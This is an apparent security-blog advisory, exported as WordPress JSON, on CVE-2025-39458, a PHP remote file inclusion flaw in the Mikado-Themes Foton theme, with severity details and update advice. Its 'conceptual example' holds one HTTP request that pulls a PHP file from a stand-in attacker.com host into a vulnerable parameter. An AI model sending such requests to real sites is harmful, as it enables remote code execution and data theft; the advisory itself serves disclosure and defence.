{"id":47780,"date":"2025-06-02T06:51:03","date_gmt":"2025-06-02T06:51:03","guid":{"rendered":""},"modified":"2025-07-02T23:18:06","modified_gmt":"2025-07-03T05:18:06","slug":"cve-2025-39458-critical-php-remote-file-inclusion-vulnerability-in-mikado-themes-foton","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-39458-critical-php-remote-file-inclusion-vulnerability-in-mikado-themes-foton\/","title":{"rendered":"<strong>CVE-2025-39458: Critical PHP Remote File Inclusion Vulnerability in Mikado-Themes Foton<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>In the ever-evolving landscape of cybersecurity, vulnerabilities continue to emerge that leave systems and data at risk. As such is the case with the recently discovered vulnerability CVE-2025-39458. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-41195-critical-security-flaw-in-ocuco-innovation-s-innovaserviceintf-exe\/\"  data-wpil-monitor-id=\"53543\">critical flaw<\/a> is present in the Mikado-Themes Foton, popular among web developers for creating visually appealing and functional websites.<br \/>\nThis vulnerability, known as <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46468-high-severity-php-local-file-inclusion-vulnerability-in-wpfable-fable-extra\/\"  data-wpil-monitor-id=\"54090\">PHP Remote File Inclusion<\/a>, allows an attacker to include a remote PHP file from a server of their choosing, thus exploiting the improper control of filename for include\/require statement in PHP Program present in Mikado-Themes Foton. This can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-0562-use-after-free-flaw-in-linux-kernel-potentially-leading-to-system-compromise\/\"  data-wpil-monitor-id=\"53678\">lead to potential system<\/a> compromise or data leakage, thus making it a serious concern for developers and organizations using these themes.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-39458<br \/>\nSeverity: Critical, CVSS Score: 8.1<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-31049-untrusted-data-deserialization-vulnerability-in-themeton-dash-exposes-systems-to-object-injection\/\"  data-wpil-monitor-id=\"53834\">System compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-1119737455\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Mikado-Themes Foton | up to and including 2.5.2<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>In PHP, the include() and require() statements are used to insert useful <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4981-critical-file-extraction-vulnerability-in-mattermost-leading-to-potential-remote-code-execution\/\"  data-wpil-monitor-id=\"63064\">codes written in other files<\/a>, in the flow of execution. This <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-25010-critical-vulnerability-in-ericsson-ran-compute-and-site-controller-6610\/\"  data-wpil-monitor-id=\"53658\">vulnerability exploits the improper control<\/a> of filename for these statements, allowing an attacker to manipulate the input and include a remote PHP file from a server of their choosing. This could potentially allow an attacker to inject malicious code or scripts, leading to further exploits such as data leakage or total <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-41651-critical-system-compromise-due-to-missing-authentication\/\"  data-wpil-monitor-id=\"56041\">system compromise<\/a>.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-330732894\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-46458-critical-cross-site-request-forgery-csrf-vulnerability-leading-to-sql-injection-in-occupancyplan\/\"  data-wpil-monitor-id=\"55456\">vulnerability might be exploited using an HTTP request<\/a> to a vulnerable endpoint:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/vulnerable_page.php?file=http:\/\/attacker.com\/malicious_file.php HTTP\/1.1\nHost: target.example.com<\/code><\/pre>\n<p>In the above example, the attacker is requesting a page from the target&#8217;s website, but manipulating the &#8216;<a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32925-critical-php-remote-file-inclusion-vulnerability-in-fantasticplugins-sumo-reward-points\/\"  data-wpil-monitor-id=\"55205\">file<\/a>&#8216; parameter to include a PHP file hosted on their own server. The malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-51360-remote-code-execution-vulnerability-in-hospital-management-system-in-php-v4-0\/\"  data-wpil-monitor-id=\"54338\">PHP file could contain code designed to compromise the system<\/a> or exfiltrate sensitive data.<\/p>\n<p><strong>Recommendations<\/strong><\/p>\n<p>Users are strongly advised to update their <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39494-php-remote-file-inclusion-vulnerability-in-mikado-themes-wilmer\/\"  data-wpil-monitor-id=\"56040\">Mikado-Themes Foton to the latest version to mitigate this vulnerability<\/a>. In case a patch is not immediately available, or updating is not an option, implementing a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation.<br \/>\nRemember, in the realm of cybersecurity, staying updated is not just about having the latest features, but also about ensuring the <a href=\"https:\/\/www.ameeba.com\/blog\/nsa-s-aisc-unveils-joint-guidance-on-ai-data-security-risks-and-best-practices\/\"  data-wpil-monitor-id=\"53571\">security of your systems and data<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview In the ever-evolving landscape of cybersecurity, vulnerabilities continue to emerge that leave systems and data at risk. As such is the case with the recently discovered vulnerability CVE-2025-39458. This critical flaw is present in the Mikado-Themes Foton, popular among web developers for creating visually appealing and functional websites. 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